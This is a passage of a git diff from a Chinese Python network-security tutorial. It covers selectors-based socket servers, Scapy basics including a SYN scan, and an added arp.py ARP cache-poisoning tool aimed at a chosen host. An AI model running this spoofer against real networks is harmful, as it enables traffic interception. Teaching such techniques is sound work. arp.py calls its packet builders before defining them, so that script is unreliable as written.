\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213/\345\244\232\350\277\236\346\216\245\343\200\201\351\235\236\351\230\273\345\241\236\347\232\204\346\234\215\345\212\241\347\253\257\343\200\201\345\256\242\346\210\267\347\253\257\347\274\226\347\250\213.md" @@ -0,0 +1,328 @@ +## 3.3 多连接、非阻塞的服务端、客户端编程 + +上一节我们在基本的客户端和服务端编程模型基础上,实现了一个简单的木马。多客户端同时连接服务端的场景下,处理起来要复杂得多,通常的解决方案是利用多线程或者多进程来解决并发问题,但是编程难度成倍提升。在Python中我们还有一个折中的选择就是selectors模块,该模块基于Unix经典的select系统调用模型,它可以监听I/O操作的结果以实现异步调用,基于此种方案可以同时挂起多个socket连接,根据读写状态进行回调。内部原理我们在本系列文章中不做过多解释,同学们掌握基本用法即可。模块参考:https://docs.python.org/3/library/selectors.html。 + +同时在数据收发上,可能会出现“粘包”的情况,需要自定义数据封包协议来解决这样的问题。 + +``` +什么是粘包? + +1.发送端为了将多个发往接收端的包,更有效的发到对方,使用了优化方法(Nagle算法),将多次间隔较小、数据量小的数据包,合并成一个大的数据包发送(把发送端的缓冲区填满一次性发送)。 + +2接收端底层会把tcp段整理排序交给缓冲区,这样接收端应用程序从缓冲区取数据就只能得到整体数据而不知道怎么拆分 + +比如发送端发送了一个由2个100字节组成的200字节的数据包到接受端的缓冲区,接受端从缓冲去一次取80字节的数据,那么第一次取的就是一个不完整的数据包,第二次取就会带上第一个数据包的尾部和下一个数据包的头部数据。 + +``` + +下面我们开始基于selectors构建服务端和客户端。 + +### 3.3.1 服务端编程 + +首先创建server.py 文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors#导入selectors模块 + +class server: + def __init__(self,ip,port): + self.port=port + self.ip=ip + self.selector = selectors.DefaultSelector()#初始化selector + + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待监听:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() + + +if __name__ == '__main__': + s = server('',8800) + s.start() +``` + +上面的代码和3.1,3.2节略有差异,基本的socket初始化、绑定、监听都是一致的,不再重复讲解。注意代码中四处添加注释的地方: + +1. +```Python +import selectors#导入selectors模块 +``` +导入selectors模块 + +2. +```Python +self.selector = selectors.DefaultSelector()#初始化selector +``` +初始化selector有多种方法,我们选择最简单的一种方案,直接调用DefaultSelector()方法。 + +3. +```Python +s.setblocking(False) # 非阻塞 +``` +这一步很关键,调用之后,socket调用将不再阻塞当前程序。 + +4. + +```Python + self.selector.register(s,selectors.EVENT_READ,data=None)#注册I/O对象 +``` +注册s到selector中,监听事件为selectors.EVENT_READ,通过监听该事件,服务端socket接收到新连接请求会被selector捕获到。data参数用来存储socket中的数据,当 select() 返回的时候它也会被返回。我们将使用 data 来跟踪 socket 上发送或者接收的数据。 + +监听数据收发,需要建立一个while...true循环,不停的询问各个连接的状态,目前我们只注册了一个服务端socket,下面我们在循环中获取新的客户端连接并注册到selector中。继续完善start方法: + +```Python + def start(self): + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + try: + s.bind((self.ip,self.port)) + s.listen() + print('等待监听:',(self.ip,self.port)) + s.setblocking(False) # 非阻塞 + self.selector.register(s,selectors.EVENT_READ,None)#注册I/O对象 + while True: + events = self.selector.select(timeout=None)#阻塞调用,等待新的读/写事件 + for key, mask in events: + if key.data is None:#新的连接请求 + self.accept_wrapper(key.fileobj) + else:#收到客户端连接发送的数据 + self.service_connection(key, mask) + except socket.error as e: + print(e) + sys.exit() + finally: + s.close() #关闭服务端 + + def accept_wrapper(self,sock): + pass + + def service_connection(self,key, mask): + pass +``` +sel.select(timeout=None) 调用会阻塞直到新的消息进来。它返回一个(key, events) 元组,每个 socket 一个。key 就是一个包含 fileobj 属性的具名元组。key.fileobj 是一个 socket 对象,mask 表示一个操作就绪的事件掩码。 + +如果key.data为空,我们就可以知道它来自于监听服务端的socket(代码中的s),我们需要调用 accept()方法来授受连接请求。这里我们将定义一个新的accept_wrapper方法来处理请求并注册到selector中。 +如果key.data不为空,那它一定是一个已经被接收的客户端socket,我们定义一个新的service_connection(key, mask)方法来处理收据的收发。 + +accept_wrapper()方法内容如下: + +```Python +def accept_wrapper(self,sock): + conn, addr = sock.accept() # Should be ready to read + print('接收客户端连接', addr) + conn.setblocking(False) #非阻塞 + data = types.SimpleNamespace(addr=addr, inb=b'', outb=b'')#socket数据 + events = selectors.EVENT_READ | selectors.EVENT_WRITE #监听读写 + self.selector.register(conn, events, data=data)#注册客户端socket +``` + +上面的代码中,我们调用types.SimpleNamespace来创建一个动态对象,保存我们需要的信息,这里定义了addr(ip地址)、inb(传入数据)、outb(传出数据)三个字段。接下来注册的事件选择读和写,可以在循环中获取连接的可读、可写状态。 + +下面我们来看一下service_connection方法的内部逻辑: + +```Python +def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) # 接收数据 + if recv_data: + data.outb += recv_data + else:#客户端断开连接 + print('closing connection to', data.addr) + self.selector.unregister(sock)#取消注册,防止出错 + sock.close() + if mask & selectors.EVENT_WRITE: + if data.outb: + print('echoing', repr(data.outb), 'to', data.addr) + sent = sock.send(data.outb) + data.outb = data.outb[sent:] #情况缓存数据 +``` +这里是多连接服务端的核心部分,key是select()方法返回的一个元组,它包含了socket对象「fileobj」和数据对象;mask包含了获取状态的类型。 +```Python +if mask & selectors.EVENT_READ +``` + +如果socket就绪而且可以被读取,mask & selectors.EVENT_READ 就为真,就调用sock.recv()接收客户端发送过来的数据。所有读取到的数据都会被追加到data.outb里面,作为测试data.outb随后被发送回客户端。如果没有接收到数据,证明客户端已经断开连接,这里除了要调用sock.close()关闭连接之外,还要调用selector.unregister方法进行注销。 + +随后,判断当前socket处于可写状态的话,就会调用sock.send发送数据,发送之后清空缓存数据。 + +服务端程序基本完成,下面继续编写客户端程序。 + +### 3.3.2 客户端编程 + +新建client.py 文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import socket +import sys +import selectors +import types + +# 测试类 + + +class Client: + def __init__(self, host, port, numConn): + self.host = host # 待连接的远程主机的域名 + self.port = port + self.message = [b'message 1 from client', b'message 1 from client'] + self.numConn = numConn + self.selector = selectors.DefaultSelector() + + def connet(self): # 连接方法 + server_addr = (self.host, self.port) + for i in range(0, self.numConn): + connid = i + 1 + print('开始连接', connid, '到', server_addr) + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.setblocking(False) + sock.connect_ex(server_addr)#连接服务端 + events = selectors.EVENT_READ | selectors.EVENT_WRITE + data = types.SimpleNamespace(connid=connid, + msg_total=sum(len(m) for m in self.message), + recv_total=0, + messages=list(self.message), + outb=b'') + self.selector.register(sock, events, data=data) + + try: + while True: + events = self.selector.select(timeout=1) + if events: + for key, mask in events: + self.service_connection(key, mask) + + finally: + self.selector.close() + + def service_connection(self,key, mask): + sock = key.fileobj + data = key.data + if mask & selectors.EVENT_READ: + recv_data = sock.recv(1024) + if recv_data: + print("收到", repr(recv_data), "来自连接", data.connid) + data.recv_total += len(recv_data) + if not recv_data or data.recv_total == data.msg_total:#根据接收数据的长度,判断是否关闭客户端 + print("关闭连接:", data.connid) + self.selector.unregister(sock) + sock.close() + if mask & selectors.EVENT_WRITE: + if not data.outb and data.messages: + data.outb = data.messages.pop(0) + if data.outb: + print("发送", repr(data.outb), "到连接", data.connid) + sent = sock.send(data.outb) #发送数据 + data.outb = data.outb[sent:]#清空数据 + + + +if __name__ == '__main__': + cl = Client('127.0.0.1', 8800, 5) + cl.connet() +``` +客户端代码涉及到的知识点和和服务端基本相同。在连接服务端的时候,由于connect()方法会立即触发一个 BlockingIOError异常,所以我们使用connect_ex()方法取代它。connect_ex()会返回一个错误指示 errno.EINPROGRESS,不像connect()方法直接在进程中返回异常。一旦连接成功socket就可以进行读写并且通过select()方法返回。 + +在service_connection方法中客户端会跟踪从服务器接收的字节数,根据结果来决定是否关闭socket连接。 + +### 3.3.3 测试服务端和客户端 + +下面我首先启动服务端: + + + +再启动客户端: + + + +对应的服务端打印数据为: + + + +### 3.3.4 还有哪些问题需要解决? + +当使用 TCP 连接时,会从一个连续的字节流读取的数据,好比从磁盘上读取数据,不同的是你是从网络读取字节流。然而,和使用 f.seek() 读文件不同,没法定位 socket 的数据流的位置,如果可以像文件一样定位数据流的位置(使用下标),那你就可以随意的读取你想要的数据。当字节流入你的 socket 时,会需要有不同的网络缓冲区,如果想读取他们就必须先保存到其它地方,使用 recv() 方法持续的从 socket 上读取可用的字节流相当于从 socket 中读取的是一块一块的数据,你必须使用 recv() 方法不断的从缓冲区中读取数据,直到你的应用确定读取到了足够的数据。 + +什么时候算“足够”这取决于你的定义,就 TCP socket 而言,它只通过网络发送或接收原始字节,它并不了解这些原始字节的含义。 + +这可以让我们定义一个应用层协议,来解决这个问题,类似于HTTP协议。简单来说,你的应用会发送或者接收消息,这些消息其实就是你的应用程序的协议。这些消息的长度、格式可以定义应用程序的语义和行为,这和我们之前说的从socket 中读取字节部分内容相关,当你使用 recv() 来读取字节的时候,你需要知道读的字节数,并且决定什么时候算读取完成。这些都是怎么完成的呢?在每条消息前面追加一个头信息,头信息中包括消息的长度和其它我们需要的字段。这样做的话我们只需要追踪头信息,当我们读到头信息时,就可以查到消息的长度并且读出所有字节。 + + +让我们来定义一个完整的协议头: + +1. 可变长度的文本 +2. 基于 UTF-8 编码的 Unicode 字符集 +3. 使用 JSON 序列化的一个 Python 字典 + +其中必须具有的头应该有以下几个: + + + +这些头信息告诉接收者消息数据,这样的话你就可以通过提供给接收者足够的信息让他接收到数据的时候正确的解码的方式向它发送任何数据,由于头信息是字典格式,你可以随意向头信息中添加键值对。 + +不过还有一个问题,由于我们使用了变长的头信息,虽然方便扩展但是当你使用 recv() 方法读取消息的时候怎么知道头信息的长度呢? + +我们前面讲到过使用 recv() 接收数据和如何确定是否接收完成,我说过定长的头可能会很低效,的确如此。但是我们将使用一个比较小的 2 字节定长的头信息前缀来表示头信息的长度。 +为了给你更好地解释消息格式,让我们来看看消息的全貌: + + + +消息以 2字节的固定长度的头开始,这两个字节是整型的网络字节序列,表示下面的变长 JSON 头信息的长度,当我们从 recv() 方法读取到 2 个字节时就知道它表示的是头信息长度的整形数字,然后在解码 JSON 头之前读取固定长度的字节数。JSON 头包含了头信息的字典。其中一个就是 content-length,这表示消息内容的数量(不是JSON头),当我们使用 recv() 方法读取到了 content-length 个字节的数据时,就表示接收完成并且读取到了完整的消息。 + +另外数据传输还涉及大小端的问题,不同的CPU架构处理网络传输数据的字节顺序是不一样的,下面引用维基百科的解释: +``` +字节顺序,又称端序或尾序(英语:Endianness),在计算机科学领域中,指存储器中或在数字通信链路中,组成多字节的字的字节的排列顺序。 + +在几乎所有的机器上,多字节对象都被存储为连续的字节序列。例如在C语言中,一个类型为int的变量x地址为0x100,那么其对应地址表达式&x的值为0x100。且x的四个字节将被存储在存储器的0x100, 0x101, 0x102, 0x103位置。[1] + +字节的排列方式有两个通用规则。例如,一个多位的整数,按照存储地址从低到高排序的字节中,如果该整数的最低有效字节(类似于最低有效位)在最高有效字节的前面,则称大端序;反之则称小端序。在网络应用中,字节序是一个必须被考虑的因素,因为不同机器类型可能采用不同标准的字节序,所以均按照网络标准转化。 + +例如假设上述变量x类型为int,位于地址0x100处,它的值为0x01234567,地址范围为0x100~0x103字节,其内部排列顺序依赖于机器的类型。大端法从首位开始将是:0x100: 01, 0x101: 23,..。而小端法将是:0x100: 67, 0x101: 45,.. +``` + +在小端机器上执行 +``` +$ python3 -c 'import sys; print(repr(sys.byteorder))' +'little' +``` +可以得到’little'的结果。如果我把这段代码跑在可以模拟大字节序 CPU「PowerPC」的虚拟机上的话,应该是下面的结果: +``` +$ python3 -c 'import sys; print(repr(sys.byteorder))' +'big' +``` +如果不想处理字节序的问题,可以通过传输unicode编码的数据来规避,比如我们使用的UTF-8编码。 + +### 3.3.5 小结 + +本节学习了基于selectors模块,结合while...true实现事件循环,最终实现多连接非阻塞的客户端/服务端程序的编写。对于TCP数据传输“粘包”的问题没有给出代码实现,但是给出了自定义协议的解决方案。本节的作业如下: + +1. 将自定义协议的方案整合到客户端和服务端中,实现发送任意长度的数据 + +下一节我们学习网络工具包Scapy的基本使用。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + + + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + + diff --git a/3.3.pdf b/3.3.pdf new file mode 100644 index 0000000..6c84c0e Binary files /dev/null and b/3.3.pdf differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" "b/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" new file mode 100644 index 0000000..a2f6a3d Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/3.4.pdf" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" "b/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" new file mode 100644 index 0000000..8020e8f --- /dev/null +++ "b/3.4 Scapy\345\237\272\347\241\200/Scapy\345\237\272\347\241\200.md" @@ -0,0 +1,149 @@ +## 3.4 Scapy基础 + +Scapy是一个强大的交互式数据包处理程序(使用python编写)。它能够伪造或者解码大量的网络协议数据包,能够发送、捕捉、匹配请求和回复包等等。它可以很容易地处理一些典型操作,比如端口扫描,tracerouting,探测,单元 测试,攻击或网络发现(可替代hping,NMAP,arpspoof,ARP-SK,arping,tcpdump,tethereal,P0F等)。 最重要的他还有很多更优秀的特性——发送无效数据帧、注入修改的802.11数据帧、在WEP上解码加密通道(VOIP)、ARP缓存攻击(VLAN)等,这也是其他工具无法处理完成的。 + +本章的大部分工具开发都是基于Scapy来开发的,所以各位同学务必熟悉Scapy的基本使用方法。 + +Scapy可以通过命令行和Python调用两种方式来进行使用。在使用之前请确保已经安装Scapy。 + +### 3.4.1 Scapy安装 + +通过命令 + +```shell +pip3 install scapy +``` +来安装scapy。 + + + +安装之后可以在终端启动。因为发送数据包需要root权限,所以使用sudo启动。 + + + +注意上图中的INFO信息,如果没有安装可选包,部分功能不可用,在需要的时候单独安装即可。 + +### 3.4.2 基本命令 + +ls()显示scapy支持的所有协议。 + + + +这个命令足以体现Scapy的强大,上百种网络协议,直接秒杀其他工具。ls()函数的参数还可以是上面支持的协议中的任意一个的类型属性,也可以是任何一个具体的数据包,如ls(TCP),ls(newpacket)等。输入ls(TCP)会显示TCP方法构造对象的内容属性。 + + + +lsc()列出scapy支持的所有的命令。 + + + +help()显示某一命令的使用帮助,如help(sniff)。 + + + +show()显示指定数据包的详细信息。例如,这里我们先创建一个IP数据包,然后调用show方法。 + + + +### 3.4.3 综合练习 + +下面我们通过几个小例子,来加深对Scapy的理解。 + +我们可以使用Scapy来构造从数据链路层到应用层的任一层的数据包,需要各位同学参考不同协议的报文格式来练习。下面我构造一个IP数据包,先使用ls命令显示IP命令的参数。 + + + +每个字段是和IP协议一一对应的如下图: + + + +构造其他协议的数据包类似,只需要传入我们想要设置的值就可以了,返回的数据包对象可以再次修改。例如: + + + + +因为网络数据包是层层包裹的,根据情况需要,也需要我们构建不同层的数据报文然后组合起来发送出去。使用"/"可以组合不同层的报文。 比如下面wireshark捕获的一个https报文: + + + +如果想从数据链路层将数据发送出去,就需要构造以太网帧数据,IP数据报文和TCP报文,并将三者组合起来发送出去。看下面的示例: + + +上图中我们使用了hexdump()函数, 使用hexdump()函数会以经典的hexdump格式输出数据包。 + +发送数据包可以使用的方法有两个send()和sendp()。send()函数将会在第3层发送数据包,也就是说它会为你处理路由和第2层的数据。sendp()函数将会工作在第2层。我们可以根据实际情况来决定使用哪个方法来发送数据。使用方法如下: + + + +如果想要发送数据之后等待响应,可以使用sr()、sr1()或者srp()方法。sr()函数是用来发送数据包和接收应答。该函数返回一对数据包及其应答,还有无应答的数据包。sr1()函数是一种变体,用来返回一个应答数据包。发送的数据包必须是第3层报文(IP,ARP等)。srp()则是使用第2层报文(以太网,802.3等)。下面发送一个DNS查询的报文出去,接收查询结果。 + + + +注意上图中我们使用了DNS()方法帮助构造应用层(DNS)的报文内容。 + +实际上接收的数据返回两个列表,第一个就是发送的数据包及其应答组成的列表,第二个是无应答数据包组成的列表。为了更好地呈现它们,它们被封装成一个对象,并且提供了一些便于操作的方法。 下面我们实现一个简单的SYN端口扫描: + + + +通常我们需要将数据包文件导出为pcap文件备用,需要的时候再导入,方法如下: + + + +使用str()函数可以将整个数据包转换成十六进制字符串: + + + +使用export_object()函数,Scapy可以数据包转换成base64编码的Python数据结构: + + + +除此之外,如果您已经安装PyX,您可以做一个数据包的图形PostScript/ PDF转储,完整的输出命令列表如下: + + + +输出pdf示例如下: + + + +### 3.4.4 在Python中使用Scapy + +在Python中调用Scapy很简单,只需要导入模块即可。 + +新建useScapy.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import sys +from scapy.all import * + +p=sr1(IP(dst='192.168.1.1')/ICMP()) +if p: + p.show() +``` + +结果如下: + + + +### 3.4.5 小结 + +本节作为后面几个小节的前置知识,介绍了Scapy工具包的基本使用,更多的功能会在后面的章节继续介绍,同时建议各位同学阅读官方文档,全面了解。本节作业如下: + +1. 安装Scapy +2. 属性基本的命令操作 +3. 在Python中进行调用,实现ARP数据包的发送 + + +下一节我们下沉到网络接口层,实现ARP欺骗工具。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + + + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + + \ No newline at end of file diff --git "a/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" "b/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" new file mode 100644 index 0000000..38aacaf --- /dev/null +++ "b/3.4 Scapy\345\237\272\347\241\200/code/useScapy.py" @@ -0,0 +1,10 @@ +# -*- coding: UTF-8 -*- + +import sys +from scapy.all import * + +p=sr1(IP(dst='192.168.1.1')/ICMP()) +if p: + p.show() + + diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" "b/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/0.jpg" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" "b/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/00.jpeg" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/1.png" "b/3.4 Scapy\345\237\272\347\241\200/img/1.png" new file mode 100644 index 0000000..4125e38 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/1.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/10.png" "b/3.4 Scapy\345\237\272\347\241\200/img/10.png" new file mode 100644 index 0000000..7505bfd Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/10.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/11.png" "b/3.4 Scapy\345\237\272\347\241\200/img/11.png" new file mode 100644 index 0000000..f0b9ea0 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/11.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/12.png" "b/3.4 Scapy\345\237\272\347\241\200/img/12.png" new file mode 100644 index 0000000..25bd5c8 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/12.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/13.png" "b/3.4 Scapy\345\237\272\347\241\200/img/13.png" new file mode 100644 index 0000000..3eea794 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/13.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/14.png" "b/3.4 Scapy\345\237\272\347\241\200/img/14.png" new file mode 100644 index 0000000..a3ff851 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/14.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/15.png" "b/3.4 Scapy\345\237\272\347\241\200/img/15.png" new file mode 100644 index 0000000..de19856 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/15.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/16.png" "b/3.4 Scapy\345\237\272\347\241\200/img/16.png" new file mode 100644 index 0000000..25a08ba Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/16.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/17.png" "b/3.4 Scapy\345\237\272\347\241\200/img/17.png" new file mode 100644 index 0000000..8ce84ac Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/17.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/18.png" "b/3.4 Scapy\345\237\272\347\241\200/img/18.png" new file mode 100644 index 0000000..62f3289 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/18.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/19.png" "b/3.4 Scapy\345\237\272\347\241\200/img/19.png" new file mode 100644 index 0000000..6875909 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/19.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/2.png" "b/3.4 Scapy\345\237\272\347\241\200/img/2.png" new file mode 100644 index 0000000..a47a677 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/2.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/20.png" "b/3.4 Scapy\345\237\272\347\241\200/img/20.png" new file mode 100644 index 0000000..667007e Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/20.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/21.png" "b/3.4 Scapy\345\237\272\347\241\200/img/21.png" new file mode 100644 index 0000000..d7d4dee Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/21.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/3.png" "b/3.4 Scapy\345\237\272\347\241\200/img/3.png" new file mode 100644 index 0000000..ca4095b Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/3.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/4.png" "b/3.4 Scapy\345\237\272\347\241\200/img/4.png" new file mode 100644 index 0000000..2278dac Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/4.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/5.png" "b/3.4 Scapy\345\237\272\347\241\200/img/5.png" new file mode 100644 index 0000000..dee2f08 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/5.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/6.png" "b/3.4 Scapy\345\237\272\347\241\200/img/6.png" new file mode 100644 index 0000000..0115693 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/6.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/7.png" "b/3.4 Scapy\345\237\272\347\241\200/img/7.png" new file mode 100644 index 0000000..ca7df56 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/7.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/8.png" "b/3.4 Scapy\345\237\272\347\241\200/img/8.png" new file mode 100644 index 0000000..7de98a7 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/8.png" differ diff --git "a/3.4 Scapy\345\237\272\347\241\200/img/9.png" "b/3.4 Scapy\345\237\272\347\241\200/img/9.png" new file mode 100644 index 0000000..a001940 Binary files /dev/null and "b/3.4 Scapy\345\237\272\347\241\200/img/9.png" differ diff --git a/3.4.pdf b/3.4.pdf new file mode 100644 index 0000000..a2f6a3d Binary files /dev/null and b/3.4.pdf differ diff --git "a/3.5 ARP\346\254\272\351\252\227/3.5.pdf" "b/3.5 ARP\346\254\272\351\252\227/3.5.pdf" new file mode 100644 index 0000000..da493ec Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/3.5.pdf" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/code/arp.py" "b/3.5 ARP\346\254\272\351\252\227/code/arp.py" new file mode 100644 index 0000000..a93186f --- /dev/null +++ "b/3.5 ARP\346\254\272\351\252\227/code/arp.py" @@ -0,0 +1,77 @@ +# -*- coding: UTF-8 -*- +import sys +import os +import time +from optparse import OptionParser +from scapy.all import ( + get_if_hwaddr, + getmacbyip, + ARP, + Ether, + sendp +) + +def main(): + try: + if os.geteuid() != 0: + print("[-] 请以root权限运行本程序") + sys.exit(1) + except Exception as msg: + print(msg) + + usage = 'Usage: %prog [-i interface] [-t target] host' + parser = OptionParser(usage) + parser.add_option('-i', dest='interface', help='请指定网卡') + parser.add_option('-t', dest='target', help='请指定要欺骗的目标主机') + parser.add_option('-m', dest='mode', default='req', help='毒化模式: requests (req) or replies (rep) [default: %default]') + parser.add_option('-s', action='store_true', dest='summary', default=False, help='显示数据包发送信息') + (options, args) = parser.parse_args() + print + if len(args) != 1 or options.interface is None: + parser.print_help() + sys.exit(0) + mac = get_if_hwaddr(options.interface) + print('本机mac地址是%s' %mac) + + if options.mode == 'req': + pkt = build_req() + elif options.mode == 'rep': + pkt = build_rep() + + if options.summary is True: + pkt.show() + ans = input('\n[*] 是否继续? [Y|n]: ').lower() + if ans == 'y' or len(ans) == 0: + pass + else: + sys.exit(0) + + def build_req():#构造请求数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0]) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标ip的mac地址") + sys.exit(1) + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target) + return pkt + + def build_rep():#构造响应数据包 + if options.target is None: + pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2) + elif options.target: + target_mac = getmacbyip(options.target) + if target_mac is None: + print("[-] Error: 无法获取目标mac地址") + sys.exit(1) + + pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2) + + return pkt + + while True:#发送 + sendp(pkt, inter=2, iface=options.interface) + +if __name__ == '__main__': + main() \ No newline at end of file diff --git "a/3.5 ARP\346\254\272\351\252\227/img/0.jpg" "b/3.5 ARP\346\254\272\351\252\227/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/0.jpg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" "b/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/00.jpeg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/1.jpg" "b/3.5 ARP\346\254\272\351\252\227/img/1.jpg" new file mode 100644 index 0000000..48c1677 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/1.jpg" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/10.png" "b/3.5 ARP\346\254\272\351\252\227/img/10.png" new file mode 100644 index 0000000..b5ab954 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/10.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/11.png" "b/3.5 ARP\346\254\272\351\252\227/img/11.png" new file mode 100644 index 0000000..0abea32 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/11.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/12.png" "b/3.5 ARP\346\254\272\351\252\227/img/12.png" new file mode 100644 index 0000000..e4fd1fe Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/12.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/13.png" "b/3.5 ARP\346\254\272\351\252\227/img/13.png" new file mode 100644 index 0000000..fdc504f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/13.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/14.png" "b/3.5 ARP\346\254\272\351\252\227/img/14.png" new file mode 100644 index 0000000..5b2a33f Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/14.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/15.png" "b/3.5 ARP\346\254\272\351\252\227/img/15.png" new file mode 100644 index 0000000..b368345 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/15.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/16.png" "b/3.5 ARP\346\254\272\351\252\227/img/16.png" new file mode 100644 index 0000000..3a6580c Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/16.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/17.png" "b/3.5 ARP\346\254\272\351\252\227/img/17.png" new file mode 100644 index 0000000..1508666 Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/17.png" differ diff --git "a/3.5 ARP\346\254\272\351\252\227/img/18.png" "b/3.5 ARP\346\254\272\351\252\227/img/18.png" new file mode 100644 index 0000000..86c29be Binary files /dev/null and "b/3.5 ARP\346\254\272\351\252\227/img/18.png" differ diff --git "a/3.5 